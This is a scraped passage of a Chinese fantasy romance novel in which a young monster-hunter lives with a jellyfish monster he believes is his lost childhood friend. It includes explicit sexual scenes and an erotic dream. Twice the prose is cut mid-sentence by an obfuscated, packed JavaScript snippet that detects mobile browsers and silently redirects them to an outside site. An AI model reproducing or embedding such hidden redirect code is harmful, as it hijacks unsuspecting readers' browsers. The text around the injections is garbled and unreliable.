闻璨被他嫌弃了会不会伤心? 唉,他怎么总是欺负闻璨? 闻璨是大笨蛋,而他是大坏蛋。 若能回到那个时候,他一定要狠狠地揍自己一顿,给闻璨出气。 十六岁那年的闻璨是比他小,还是比他大? 不会比他的大腿还粗吧? 不可能,若是比他的大腿还粗,他怎么会看不出来? 他收起思绪,拍了拍自己的脑袋,警告道:不许再满脑子黄.色.废料了。 狮鬃水母看着祂的少年时而开心,时而难过,不满地道:“你在想什么?告诉我!” 向罂挤出沐浴露,问狮鬃水母:“你能用沐浴露么?” 狮鬃水母不知道,但祂都是怪物了,又不是劳什子的小猫小狗,怎么会连区区沐浴露都用不了? 于是,祂点了点头。 向罂用沐浴球打出泡沫来,为自己清洁。 他身上还有伤口没长好,沾水会疼,不过他毫不在意。 伤口一下子发白了,颇为醒目。 狮鬃水母指着向罂的伤口,示意向罂洗快点。 向罂将自己洗干净后,又去洗狮鬃水母。 狮鬃水母本来就生得黏黏糊糊的,一打上泡沫,更加湿滑。 向罂根本抱不住,一下子脱手了。 狮鬃水母自己浮了起来,飘到向罂手边。 狮鬃水母流光溢彩,沾上雪白的泡沫后,有损颜值,但很可爱。 向罂点了点狮鬃水母的脑袋,Q.Q弹弹的,让他想起了果冻。 他吃过一次果冻,是闻璨买的,里面没有椰果,也没有果肉,是一个小小的普普通通的橙子味的果冻。 他珍惜地小口小口地吃着,最后一口依依不舍地递给了闻璨。 闻璨照例说:“我不爱吃,你吃吧。” 但他还是强迫闻璨吃了。 他没注意闻璨的表情,只是盯着果冻,后悔得想抢回来。 闻璨不可能不爱吃吧?小孩子一般都爱吃果冻。 他又将泡沫抹到了狮鬃水母的触手上,祂的触手非常多。 他好奇地去数,数着数着,就放弃了,索性问本尊:“你有几根触手?” “一千多根吧,具体没数过。”狮鬃水母回答道。 向罂听着狮鬃水母叽里咕噜,含笑道:“虽然我听不懂,不过还是多谢你愿意告诉我。” 他一丛一丛地冲洗着触手,忍不住想到了烤鱿鱼。 烤鱿鱼他也是吃过的,同样是闻璨买给他吃的,同样是闻璨说不吃,同样是他强迫闻璨吃了最后一口。 烤鱿鱼上面都是甜面酱,沾在了他的嘴唇上,他自己懒得擦,撒娇让闻璨擦,还只许闻璨用手指擦。 闻璨擦干净后,他又命令道:“舔干净。” 闻璨没反抗,在他眼前,把从他唇上揩下来的甜面酱舔干净了。 那时候的他只是在捉弄闻璨,但是现在回想起来,像是在调.戏闻璨。 啊,真是太令人羞耻了。 狮鬃水母发觉向罂又在走神,不开心地拍了拍向罂的手背。 向罂回过神来,见自己与狮鬃水母都冲洗干净了,便关上了莲蓬头。 他又取了浴巾来,擦拭自己。 擦至心口,他情难自已地轻哼一声。 明明是不该有感觉的地方,被狮鬃水母作弄了一通后,竟然…… 狮鬃水母被向罂勾得覆上了触手,触手还没来得及生出黏液来,干净清爽。 向罂红着脸,拨开了触手,继而一本正经地往下擦拭,期间,他偷偷地瞥了狮鬃水母一眼,狮鬃水母刚刚全部吃下去了。 他还幻想是闻璨吃了。 不许胡思乱想,不许胡思乱想…… 好不容易将自己擦拭干净,他拿出医药箱,为自己包扎妥当,才穿上软乎乎的家居服。 这身家居服是闻璨买给他的,面纱材质,早已长出破洞了,但他舍不得扔。 而后,他定了定神,为狮鬃水母擦拭。 擦拭完毕,狮鬃水母将向罂抱到了床上,替向罂盖好被子。 向罂这两天都没能好好休息,确实困了。 但他被失而复得的惶恐不安折腾得了无睡意,只能牢牢地盯着狮鬃水母,要求道:“我想抱着你睡,我怕你趁我睡着后,离开我。” 真是个可怜的人类。 狮鬃水母叹了口气后,将自己变成合适的尺寸,躺进了向罂怀中。 向罂仍是不放心,哀求道:“你答应我了,不离开我,别骗我,好不好?” “我答应你了,不离开你,不骗你。”狮鬃水母郑重其事地点了点头。 向罂拥紧狮鬃水母,眼皮发沉,却压根合不上。 身体疲倦至极,意识不敢沉睡。 他一眨不眨地凝视着狮鬃水母,生怕自己一个疏忽,狮鬃水母便消失无踪了。 狮鬃水母拍着向罂的背脊,柔声安抚道:“睡吧,睡吧,睡吧……” 24.如愿·其五 直至天明,向罂都没能睡着。 尽管狮鬃水母一直在用触手轻拍他的背,还叽里咕噜地说着话。 但他已然成了惊弓之鸟,狮鬃水母拍得稍慢些,外面的风声稍大些……都能令他心惊胆战。 他索性不再假寐,掀开眼帘,望住狮鬃水母:“辜负了你的好意,对不起。” 从前,他几乎不跟闻璨说“对不起”,“谢谢”之类的话。 并不是因为他将闻璨的付出视作理所当然,纯粹是出于别扭。 “没关系。”狮鬃水母抬起一根触手揉了揉向罂的脑袋,表示自己并未责怪他。 向罂顺势用脑袋蹭了蹭狮鬃水母的触手:“昨天是我十八岁的生日,虽然已经过了,但我想吃长寿面了,你和我一起吃好不好?” “好。”狮鬃水母点了点头。 向罂粲然一笑,继而央求道:“不要离开我的视线好不好?” 狮鬃水母又点了点头。 向罂先是洗漱了一番,才去厨房。 厨房狭小得仅容得下向罂一人,狮鬃水母趴在向罂左肩,一丛触手勾住了向罂后颈。 失去闻璨前,向罂从不下厨;失去闻璨后,向罂考入了“怪物清除局”,三餐基本都是在食堂解决的。 当初装修厨房时,他想的是等闻璨回来,让闻璨做给他吃。 现在闻璨回来了,但算不上真真正正地回来。 闻璨什么时候才能真真正正地回来? 他凝了凝神,将食材从冰箱里拿了出来。 他看过闻璨煮长寿面,记得具体的步骤,照着做就是了。 将长寿面煮熟当然不难,难的是煎荷包蛋。 一连煎糊了八个蛋,他才煎出两个凑合的。 而后,他将长寿面盛入碗中,端到餐桌上,又拿来了筷子、调羹递给狮鬃水母。 他突然想起还没放葱花,又急匆匆地摘了葱来,对着碗,用剪刀剪。 碧绿的小葱纷纷飘落,将长寿面衬托得顺眼了些。 长寿面、鸡蛋以及各种调味料是他一直备着的,每隔一段时间换新。 而小葱则是他种的,他没怎么打理,却长得郁郁葱葱。 “祝我生日快乐。”他凝视着狮鬃水母,感激地道,“能在十八岁生日见到你真好,多谢你。” 对于狮鬃水母而言,能遇见向罂当然很好,但是对于向罂而言,这当真是一件好事么? “我可是差点吃了你的怪物,我甚至还玩.弄了你的身体。”狮鬃水母不由生起了气来。 “你在生气么?”向罂不确定地问道。 狮鬃水母点头道:“你可千万不要对别的怪物也这么不设防。” “如果我有哪里做错了,希望你能原谅我。”向罂乖顺地低下头,露出一截莹白的后颈。 沿着后颈而下,便能窥见一双蝴蝶骨。 这双蝴蝶骨曾在狮鬃水母眼中暴露无遗,祂甚至连这个人类的胴.体都见过了,但仅仅是这么一点蝴蝶骨竟让他感到美好得难以言喻。 “你没做错什么,只是你应该防着我,我毕竟是一头会吃人的怪物。”狮鬃水母忧心忡忡,奈何向罂听不懂。 向罂不好意思地笑了笑:“对不起,我们吃长寿面吧。” 狮鬃水母长长地叹了口气:要是我会说人类的语言该多好。 向罂吃了一口长寿面,太淡了,便洒了些盐,结果太咸了,于是他又往里倒了些矿泉水。 抛开咸淡不提,长寿面本身煮得太烂糊了,再多煮些时候,估计都要变成面糊了。 他蹙着眉,又吃了口荷包蛋,微微发苦。 全怪他这么多年来,好吃懒做,以至于连一碗像样的长寿面都做不出来。 “别吃了。”他正要把狮鬃水母的那碗长寿面倒了,一双手突地被触手捆住了,动弹不得。 不知道狮鬃水母是可怜他,抑或味觉与人类不同,居然将一整碗长寿面吃干净了,连一滴汤都没剩下。 狮鬃水母接着去吃向罂的那碗长寿面,同样吃了干净。 这之后,祂松开了向罂的手,飘到厨房,做起了长寿面来。 映入眼帘的分明是一头狮鬃水母,恍惚间,向罂竟觉得是闻璨。 “闻璨……”他忍不住唤了一声,继而鼻子一酸,红了眼眶。 狮鬃水母不喜欢向罂唤祂“闻璨”,不过算了,满足寿星的愿望也不是不可以。 向罂不想哭,眼泪却流淌了下来。 即便闻璨当真如他所愿彻底夺取了狮鬃水母的身体,但那个人类模样的闻璨终究回不来了。 他再也看不到作为人类的闻璨为他做长寿面了。 一想到这儿,他难以自己地嚎啕大哭。 狮鬃水母紧张地冲到向罂面前,将向罂紧紧抱住了:“怎么了?别伤心,我在。” 向罂哭个不停,直至嗅到焦味了,才抬起湿漉漉的双眼,含着哭腔道:“我没事,不用担心我,水烧干了。” 狮鬃水母伸出一根触手关了火,本体依旧抱着向罂。 好一会儿,向罂才推了推狮鬃水母:“做长寿面给我吃吧。” 狮鬃水母松开向罂,刷了锅,重新做长寿面。 怪物的食谱上明明没有长寿面,祂却觉得自己已经做过好几遍长寿面了。 向罂看着狮鬃水母熟练的样子,又想哭了,他的闻璨正在无意识的情况下给他做长寿面。 当长寿面热气腾腾地被端到他面前,他闪着泪光道:“麻烦你了。” 狮鬃水母将筷子、调羹塞进向罂手中,自己则坐在向罂对面,用两丛触手托着自己的脑袋,看着向罂。 向罂情不自禁地又想起了闻璨,每回吃长寿面,闻璨都会坐在他对面,双手托腮,一眨不眨地看着他,时不时地问他:“好吃么?” 他不是不搭理闻璨,就是敷衍地道:“还行。” 狮鬃水母发觉向罂正在走神,用触手轻轻拍了拍向罂的手背,催促向罂快吃。 向罂夹了一筷子长寿面送入口中,久违的熟悉的味道瞬间在他口腔四溢开来。 确确实实是闻璨做的长寿面的味道。 即使闻璨成了一头狮鬃水母,所做的长寿面的味道却是一点儿都没变。 “好吃么?”狮鬃水母小心翼翼地问道。 向罂不过是祂昨天所捕获的人类,没吃了向罂,已是祂大发慈悲了,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15407462|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下祂却生怕向罂认为祂做的长寿面难吃。 见向罂不回答,祂追问道:“好吃么?” 向罂依然没回答。 向罂根本听不懂祂的话,又怎么会回答? 乍见向罂泪光盈盈,祂歉然地道:“这么难吃啊?” 祂正打算将长寿面倒了,却听见向罂道:“好吃,真好吃。” 这是向罂第一次坦率地对闻璨说“好吃”。 这两个字萦绕在向罂舌尖足足十二年,终于在今天被他说了出来。 他一边流着泪,一边吃着长寿面,口腔里尽是苦涩。 自从六岁那年,第一次吃了闻璨做的长寿面开始,除了十六岁与十七岁的生日,闻璨每年都会给他做长寿面。 所以他一定会长命百岁,但是闻璨自己…… 想到这儿,他慌忙夹了长寿面,喂给狮鬃水母:“你也吃。” 狮鬃水母仅仅是一头A-级的怪物,要是被其他处刑官处决了,或是被其祂怪物吃了,他该怎么办? 狮鬃水母吃了一口长寿面,顿觉自己做的没向罂做的好吃。 向罂喜欢吃流心荷包蛋,用筷子尖戳开后,蛋黄果然流淌了出来。 他用长寿面沾了蛋黄,再次喂给狮鬃水母。 狮鬃水母勉为其难地吃着长寿面,忽而听得向罂道:“你一定要长命百岁。” 怪物的死因一般有三种:其一,被处刑官处决;其二,被同类吞噬或者杀死;其三,吃不到人或同类,被活活饿死。 祂不知道最长命的怪物活了多久,也不知道祂若是寿终正寝能活多久。 能活一百年么? 一对新人的婚礼上,常有人祝福“百年好合”。 向罂想和祂百年好合? 祂顿时既欢喜又忐忑,郑重其事地应承了:“我一定会长命百岁。” 不管祂这个物种能不能活一百岁,祂都必须为向罂做到。 向罂将余下的长寿面都喂给狮鬃水母吃了,连面汤都让狮鬃水母喝了。 然后,他阖上双眼,双手合十,祈祷道:“你一定能长命百岁。” 再然后,他猛地抱住狮鬃水母:“我会保护你的。” 狮鬃水母并不认为自己需要向罂保护,不过这话很中听,祂当然是欣然接受了。 祂用触手圈住向罂的腰身,许诺道:“我也会保护你的。” 向罂因为自己哭得脏兮兮的,拨开触手洗脸去了,没来得及拿毛巾,毛巾已经被触手送到眼前了。 触手还周到地帮他擦脸,力道与闻璨一样。 见向罂要去洗碗,狮鬃水母抢先将碗洗了。 祂不记得自己洗过碗,但祂生前想必常常做家务。 向罂端详着狮鬃水母,鼻子一酸,忍着没哭出来。 狮鬃水母洗完碗,擦干自己的触手,一回头,见向罂正看着祂,便一把将向罂抱回了床上。 这个人类昨晚根本没睡,应该好好补眠。 祂让人类躺在自己怀里,一身的触手虚虚地搭在向罂身上。 向罂感觉自己躺在了一颗水果软糖上,Q.Q弹弹,他戳了戳狮鬃水母,好奇地道:“你是不是去过国会?” 25.如愿·其六 国会…… 大约一个多月前,狮鬃水母确实去过国会,并不是祂自己想去的,而是被一头似虎似狮又似豹的怪物追杀,逃到了国会。 祂全然不是那头怪物的对手,要不是对方中途改主意,吃人去了,祂恐怕见不到向罂了。 原本祂应该在逃脱后,尽快离开的,祂却莫名其妙地留了下来,漂浮于国会上空。 祂亲眼目睹那头怪物大快朵颐,满口鲜血。 人类是一种会看吃播的生物,顶尖的吃播收入不菲,单单一个探店广告就能获得十几万,甚至是数十万的收入。 有些人类一边吃饭,一边看吃播,当做电子榨菜;有些人类出于减肥的目的或者迫于贫困,看吃播当做赛博吃饭;有些人类看吃播看馋了,会自己下厨,出去觅食或是点外卖。 对于怪物而言,看另一头怪物吃人,算是吃播的现场直播吧。 但祂并未被激发食.欲,只觉得恶心。 怪物为什么会以人类为食? 就像人类吃鸡鸭鹅一般,毫无道理,完全是天性使然? 那么祂几乎泯灭了天性,显然是一头格格不入的怪物。 祂正思忖着,远远地看见“怪物清除局”的处刑官来了,一身深黑色的制服,上衣别着“怪物清除局”的徽章。 级别不高的怪物会尽量避免撞上的处刑官。 然而,祂鬼使神差地不肯走,非但直直地盯着处刑官,甚至在处刑官进入会议室后,透过天窗继续盯着。 处刑官面无表情,一身煞气,犹如传说中的死神,可是脸蛋漂亮得出奇。 漂亮得出奇的脸蛋…… 祂凝视着怀中的人类,他亦有张漂亮得出奇的脸蛋。 仔细回想,向罂生得与那个处刑官一模一样。 却原来祂早就见过向罂了。 截然不同的气质导致祂直至现在才认出来。 在祂面前的向罂明明是个爱哭又脆弱的人类,可是祂当时看见的处刑官身手利落,直如他手中的那把匕首。 明明那个向罂对同类造成了巨大的伤害,祂却并未对其产生恐惧。 当他听见议长说要将会议室炸了,他恨不得将议长生吞。 幸而炸药一时半刻准备不好。 突然间,向罂被那头怪物吃掉了,祂甚至急得想去救他。 祂没来得及出现,向罂的同事来了,是一个拿着死神镰刀的小姑娘。 与此同时,向罂破腹而出,凶猛而强大的怪物沦为了一滩死尸。 怪物肚子里满是尚未被消化的人尸,瞧来更为恶心了。 见向罂没有性命之忧,祂才飘走。 其实那个时候祂便喜欢上向罂了吧? 如果祂对向罂的感情算得上喜欢的话。 怪物是一种缺乏感情的生物,祂对向罂的感情算不上喜欢吧?只是被异化的食欲? 祂不理解。 总而言之,目前的祂舍不得吃向罂,见不得向罂哭,听不得向罂唤“闻璨”——关于这一点可以商榷,向罂非要唤“闻璨”,祂也只能妥协。 祂想待向罂好一些,再好一些。 祂喜欢与向罂亲近,喜欢向罂主动亲祂,说爱祂。 祂亦喜欢昨日向罂给予祂的从向罂体内出来的食物。 一想到这儿,祂不由觉得肚子饿了。 是啊,祂饿了很久很久了,进食是一件天经地义的事。 向罂见狮鬃水母一动不动,略显失望:“一个多月前,你没去过国会么?” “去过。”狮鬃水母这才点了点头。 “去过?”向罂向狮鬃水母确认道。 见狮鬃水母又点了点头,他喃喃自语地道:“果真是你。” 所幸我当时活下来了,不然,我便见不得闻璨了。 闻璨,闻璨,闻璨…… 尽管听不懂狮鬃水母的话,亦看不到狮鬃水母的表情,但狮鬃水母似乎被不喜欢被他唤“闻璨”,他便不唤了。 一点一点慢慢来吧,有朝一日,闻璨定能彻底苏醒。 到时候,他便能光明正大地唤“闻璨”了。 “嗯……”狮鬃水母正在用触手作弄他。 湿漉漉,滑腻腻的触手接连不断地潜入了他的衣摆。 因为是闻璨,他全然没反抗的心思,尽量放松了身体。 他半闭着眼睛,双手各揪着些触手。 等闻璨彻底苏醒,亦会这般作弄他么? 闻璨…… 身体情不自禁地发软了,让他想起了自己方才煮的长寿面,烂乎乎的。 触手被食欲——不,应当是情.欲,所操控了。 显而易见,祂对于这个人类的情.欲远高于食欲。 比起进食,祂更加沉迷于这个人类对祂毫不设防,任祂予求予取的模样。 分明是个实力不俗的处刑官,分明能处决令祂逃窜的怪物,但向罂却默许了祂的所作所为。 他昨日甚至险些将向罂吃了。 这就是向罂所说的爱么? 很想很想听向罂再说一遍。 “说你爱我。” “说你爱我。” …… 向罂猝然被狮鬃水母压在了身下,他掀开眼帘,看着狮鬃水母,而后仰起头来,亲了亲狮鬃水母的脑袋。 像是心有灵犀一般,狮鬃水母如愿以偿地听见向罂道:“我爱你,别离开我。” 我爱你,闻璨,别离开我。 向罂面生绯红,自己解开了家居服的扣子,露出胸膛来。 “你想对我做什么都可以。”他又去脱裤子,陡地被触手阻止了。 “你想自己动手?”他收回手,做出一副柔顺的姿态,“随你。” 狮鬃水母将整个身体贴在了向罂上半身,向罂几乎连吐息都困难了。 但他依然没反抗。 触手密密麻麻地紧贴着他裸.露的肌肤,他能清晰地感受到触手上的吸盘,一个又一个,多不胜数。 狮鬃水母能释放毒液,他亦像是中了毒。 他居然正在与一头狮鬃水母亲.热,且压根不觉得勉强。 狮鬃水母的颜色一如往常般如梦似幻,却将一丛触手塞入了他口中。 他舔.舐着狮鬃水母的触手,感觉那触手又往里了些,忽而生出一股子呕意。 太深了,抵上咽喉了。 狮鬃水母兴许是发觉他的难受了,当即将触手收了回来。 眼尾溢出些微泪水,他注视着狮鬃水母道:“没关系,你想怎么做都可以。” 狮鬃水母并未再将触手探那么深,只是在他的面孔、脖颈、胸膛以及腰腹游曳。 人类是一种很脆弱的动物,狮鬃水母想祂得好好珍惜祂的人类,决不能欺负他。 人类身上伤痕丛生,深深浅浅。 是被其祂怪物伤的。 虽然同是怪物,可是祂却想将全世界的怪物全数杀了,一头不留。 如此祂的人类再也不会受伤了。 当触手抵上裤头,祂猛地顿住了。 算了,对于人类而言,太伤精力了。 人类有个词叫“精尽人亡”,祂可舍不得祂的人类精尽而亡。 向罂觉察到狮鬃水母的迟疑,客气地道:“你想吃便吃吧。” 纵然他并不认为那种东西有什么好吃的,既然狮鬃水母喜欢,他自然不会吝啬。 倘使闻璨也想吃,他同样不会吝啬。 闻璨…… 狮鬃水母费尽全力将自己从人类身上剥离了下来,之后,飘到浴室,拿了条毛巾来,用水浸湿了。 见狮鬃水母拿了湿毛巾来,向罂微微笑道:“谢谢你。” 狮鬃水母其实是想进食了,顾忌他的身体,才改了主意。 即使狮鬃水母不具备闻璨的人形,但狮鬃水母依旧拥有闻璨的体贴。 他抬手摸了摸狮鬃水母的脑袋:“要是实在是饿了,你吃便是了。” 狮鬃水母帮向罂擦拭身体,擦拭完毕后,又命触手抚上了向罂的双眼,示意向罂快些睡。 向罂唯恐失而复得,又得而复失,身体明明疲倦得很,意识却非常顽固。 狮鬃水母照旧轻拍着向罂的背脊,见向罂哈欠连天,却不肯睡,祂担忧地道:“你不会猝死吧?” 由于社会节奏太快,根据新闻报道猝死成了人类的一大死因,呈逐年攀升的趋势。 向罂摇了摇头:“我绝不会猝死,因为有你在,我要和你一起长命百岁。“ “你不睡,怎么长命百岁?”狮鬃水母心焦如焚。 向罂听不懂,但狮鬃水母大概是在劝他睡觉。 他不是不想睡,只是睡不着。 他曾经因为失去闻璨,整夜整夜地失眠。 而今他在闻璨怀里,依旧失眠。 “让你担心了,对不起。”他捏起一丛触手,当作眼罩,覆住自己的双眼,“我努力睡觉,你别担心,和我一起睡吧。” 即便明白向罂并没有别的意思,但被向罂邀请一起睡觉,仍是教狮鬃水母激动得触手发颤。 日上三竿,在绝大多数人类忙于工作的时候,向罂终于睡了过去。 他还做了个梦,梦里的他是个小天使,不是小坏蛋。 他每天跟在闻璨屁股后头,甜甜地叫:“璨哥哥,璨哥哥……” 可是现实中的他从来没叫过“璨哥哥”。 闻璨仅仅比他大半岁,他才不要叫“璨哥哥”。 梦里的闻璨也是个优秀的哥哥,每天变着法子逗他开心。 他与其他小朋友相处融洽,一起玩耍。 闻璨待其他小朋友也很好,但闻璨会当着其他小朋友的面,毫不掩饰地偏袒他。 比如政府发了过年的年货,闻璨会多分他一些糖果。 其他小朋友不开心,也想要多一些。 闻璨则会牵着他的手道:“不行,阿罂是我喜欢的人,我当然要给阿罂多分一些。” 喜欢的人…… 多么悦耳的话。 “什么是喜欢的人?” “哎呀,笨蛋,就是会亲嘴的人。” “像爸爸妈妈那样亲嘴?” “啊?我没看到过爸爸妈妈亲嘴呢。” “你爸爸妈妈不亲嘴的?他们是不是感情不好?” “瞎说,他们感情可好了,还说要给我生弟弟妹妹呢。” “咦,那璨哥哥和向罂可以生小孩嘛?” “不知道。” “傻瓜,他们连亲嘴都还没亲,怎么生小孩。” “那让他们亲一个。” “对,亲一个,亲一个。” “亲一个。” “亲一个。” “亲一个。” …… 不到十岁的他与闻璨被其他小朋友起哄了。 他害羞得红透了脸,闻璨低下头,小声问他:“可以亲你么?” 他坦率地点了点头:“可以亲。” 于是闻璨亲了一口他的额头。 闻璨的嘴唇软得像棉花糖,闻璨身上香香的,是洗衣粉的味道。 明明他的衣服也是闻妈妈闻爸爸用同一个牌子的洗衣粉洗的,他却觉得没有闻璨身上的味道香。 “亲嘴,应该亲嘴才对。” “亲嘴。” “亲嘴。” “亲嘴。” …… 他们再次被起哄了。 闻璨低下头,问他:“可以亲嘴么?” 他没回答,自己亲了闻璨的嘴巴一口。 闻璨被他亲得连耳朵都红了。 有个小朋友过来摸着他的肚子道:“向罂肚子里有小宝宝了么?” 只要亲亲嘴巴,肚子里就会有小宝宝? 他抚摸着自己的肚子,一如往常,目前为止,没有孕育小宝宝的迹象。 “傻瓜,是向罂亲的璨哥哥,所以怀小宝宝的应该是璨哥哥。” “对哦。” 小朋友又摸了摸闻璨的肚子:“好平哦,不像是有小宝宝的样子。” “要时间的,怎么可能这么快。” “对哦。” 向罂也摸了摸闻璨的肚子:“璨哥哥要给我生小宝宝嘛?” 闻璨知道自己是生不出小宝宝的,但不想扫兴,便道:“好呀,我给你生小宝宝。” “我想要像璨哥哥这样的小宝宝。”向罂歪着脑袋,想象着一个大版的闻璨与一个小版的闻璨站在一起的样子。 多年后,当他了解了人类的生理知识,明白闻璨生不了小宝宝,顿时失望地哭了出来。 闻璨哄了他一整晚,第二天还带他去游乐园玩了。 游乐园里的游乐项目多得他玩都玩不过来。 旋转木马,云霄飞车,大摆锤,海盗船,水上乐园…… 他将所有项目全部玩了一遍都不觉得尽兴。 入夜后,游乐园里开始放烟花了,烟花一朵一朵地在夜空绽开,美不胜收。 他依偎在闻璨怀里,趁没人注意,亲了闻璨的嘴角一口。 闻璨没看他,他以为闻璨害羞了,没想到,下一瞬,他的下颌被闻璨擒住了,闻璨吻上了他的唇瓣,还用舌尖撬开了他的齿缝。 他在绚丽的烟花下,同闻璨唇舌相交。 待烟花燃尽,他与闻璨才随着人流,走出了游乐园。 又过了一年,他和闻璨都大学毕业了,他们一起穿着学士服,与其他同学一起合照。 然后,他请同学给他们单独拍照片。 他挽着闻璨的手,冲着镜头笑,闻璨也在笑,还坏心地挠他的掌心。 他索性扣住了闻璨作怪的手,继而踮起脚尖来,亲吻闻璨的唇瓣。 拍照的同学捕捉到了这一幕,后来,这张照片被他打印出来,放入相框,摆在了床头柜上。 研究生入学前,他与闻璨结婚了。 他们穿着同样款式的西装,在满堂宾客的见证下,在神父的主持下,交换了戒指。 最后是接吻,一个代表着钟爱一生这一誓言的圣洁的吻。 掌声雷动,他们收到了所有人的祝福。 当晚,他们一回到自己的新房,便迫不及待地吻在了一处。 他们宛如两只接吻鱼,一刻都分不开。 他们撕扯着对方的衣服,没多久,衣服便被他们扔在了玄关,委屈巴巴地躺在皮鞋旁边。 向罂被闻璨压在墙面上,他的手摩挲着闻璨的背肌,双腿盘上了闻璨的腰身。 从十岁不到的第一个吻起,他们已经接过无数个吻了,但 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15411028|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这个吻格外炙热。 直到他被吻得喘不过气来了,闻璨方才松开他。 他们四目相对,皆是面红耳赤。 他戳了戳闻璨的面颊:“璨哥哥要和我做更让人脸红心跳的事情么?” “要。”闻璨将向罂抱到了床上。 被子软乎乎的,向罂一下子陷了下去。 闻璨接着压下身来,双手撑在向罂脑袋两边,问向罂:“害怕么?” “不害怕,因为是你。”向罂回答道。 闻璨低下头,吻上向罂的额头,像第一个吻一样。 但第一个吻是全然不含情.欲的,是属于孩子的吻,而这个吻是充满情.欲的,是属于成人的,新婚夫夫之间的吻。 从额头到两鬓、眼帘、鼻子、面颊、嘴唇、下颌、耳朵、喉结…… 闻璨吻得分外仔细,仿佛在品尝什么只因天上有的美味。 向罂被闻璨吻得浑身无力,如若无骨。 他正失神,那处倏地被闻璨吻住了。 那处是可以亲吻的么? 他不清楚。 但闻璨切切实实地吻了,还用手把玩了。 电流慢慢地缓缓地从闻璨的手传至他的脑髓,他不知道该做什么反应,只下意识地道:“璨哥哥,脏。” “不脏的,阿罂怎么会脏?”闻璨又亲了亲。 不知道多久后,闻璨的手,还有脸被他弄脏了,包括嘴唇。 “对不起。”他歉然地红了眼,却见闻璨伸出舌头来,将嘴唇上的舔干净了。 做这种事的闻璨看起来格外撩人,他定了定神,问闻璨:“好吃么?” 闻璨含笑道:“好吃,你要尝尝么?” 向罂原本不想尝,但看着闻璨送到他眼前的指尖,只能勉为其难地张开了嘴巴。 “不好吃,一点都不好吃。”他皱着脸,颇为嫌弃。 “暴殄天物。”闻璨吻住向罂的唇瓣,将向罂的口腔扫荡了一番。 向罂气喘吁吁地问:“璨哥哥是异食癖么?明明难吃得很,又腥臭又恶心。” “不是。”闻璨坦诚地道,“我只是觉得只要是阿罂的,都好吃。” “笨蛋。”向罂勾住闻璨的后颈,“璨哥哥真的不是笨蛋么?” “是,我是笨蛋,是独属于你的笨蛋。”闻璨轻轻地咬了一口向罂的耳垂,“阿罂的耳垂也很好吃。” 向罂被闻璨的情话撩得晕头转向:“我的耳垂不能吃。” “可以。”闻璨将向罂浑身上下都咬了一遍,连脚趾都没放过。 向罂羞耻得捂住双眼:“璨哥哥是色.狼。” “对,我是色.狼。”闻璨拨开向罂的手,“向罂,我爱你。” 结婚前,他们没同过房,至多牵手、接吻、抚摸。 但他们每天都会对对方说:“我爱你。” “我爱你”这三个字是他们生活中最不可或缺的存在。 “我也爱你。”向罂与闻璨十指相扣。 接下来的事隐隐约约,他只知道自己与闻璨上.床了。 向罂猛然从梦中醒来,垂目一看,发现自己正被一丛触手抱着,而不是被一条手臂抱着,登时清醒了过来。 是啊,刚才仅仅是梦而已。 是一个没有怪物的梦。 是一个他与闻璨从小一起长大,都过着富足生活的梦。 他们家庭美满,没有什么“异变值”,他没有被生父抛弃,妈妈也没有带着他逃走,他与妈妈也没有被生父找到,他也没有被生父送到“乌鸦贫民窟”。 根本没有什么“乌鸦贫民窟”。 他与闻璨是住在同一个小区的邻居,双方父母关系很好,他们也就玩在了一起。 然而,现实是他们生活困苦,需要向政府申请更多的补助,“乌鸦贫民窟爱心小学”的学生们才能喝上牛奶。 现实是他与闻璨一道去了市政府,受到了市政府工作人员的冷嘲热讽。 他们没能申请到更多的补助,闻璨更是在回“乌鸦贫民窟”的路上,被一头狮鬃水母吞噬了。 梦是美梦,可惜是他难以企及的美梦。 就算闻璨能借由狮鬃水母的身体活过来,他都不可能与人形的闻璨上.床。 十指相扣之后的事之所以隐隐约约,是因为他自己根本不清楚具体步骤吧? 他要是了解一下相关知识,下次做梦,他会梦得更详细吧? 面颊倏地发烫了,他要做的事情还有很多很多。 譬如:找到妈妈的下落,与妈妈团聚;让抛弃自己,又不为人民着想的生父身败名裂;找到尽快帮闻璨觉醒的方法;找到自己与狮鬃水母沟通的方法;找到那些被抛弃于婴儿箱中的弃婴的下落,救他们脱离苦海;查明那个所谓的“神明”究竟在捣什么鬼…… 可是他眼下满脑子都是这种事。 “你醒了?”狮鬃水母用触手撩开遮挡了向罂眼睛的鬓发,“睡得好么?” 向罂望着狮鬃水母,后知后觉地发现自己方才那个梦便是所谓的春.梦。 而他居然希望下次能做一个更为详细的春.梦。 紧接着,他骤然感受到一股子湿意,伸手一探,他竟然……竟然因为做梦出了那种东西。 他急急忙忙地想下床,突地被狮鬃水母扣住了腰身。 狮鬃水母按住人类的腰腹,脱下人类的家居裤,用触手沾取自己的食物。 祂并不想伤害人类,既然人类自己将食物奉上了,他自是不会浪费。 向罂眼睁睁地看着狮鬃水母取食,忍不住想起了梦里的闻璨。 现实中的狮鬃水母与梦里的闻璨一下子重合了。 这个梦是一个满足他想象的梦,梦里的闻璨做了他想让闻璨做的事。 “嗯……闻……”向罂及时将“璨”字咽了下去。 狮鬃水母也觉得只要是他的,都好吃么? 狮鬃水母将沾在向罂身上的食物吃干净后,又去吃沾在布料上的。 不得不说还是沾在向罂身上的更好吃一些。 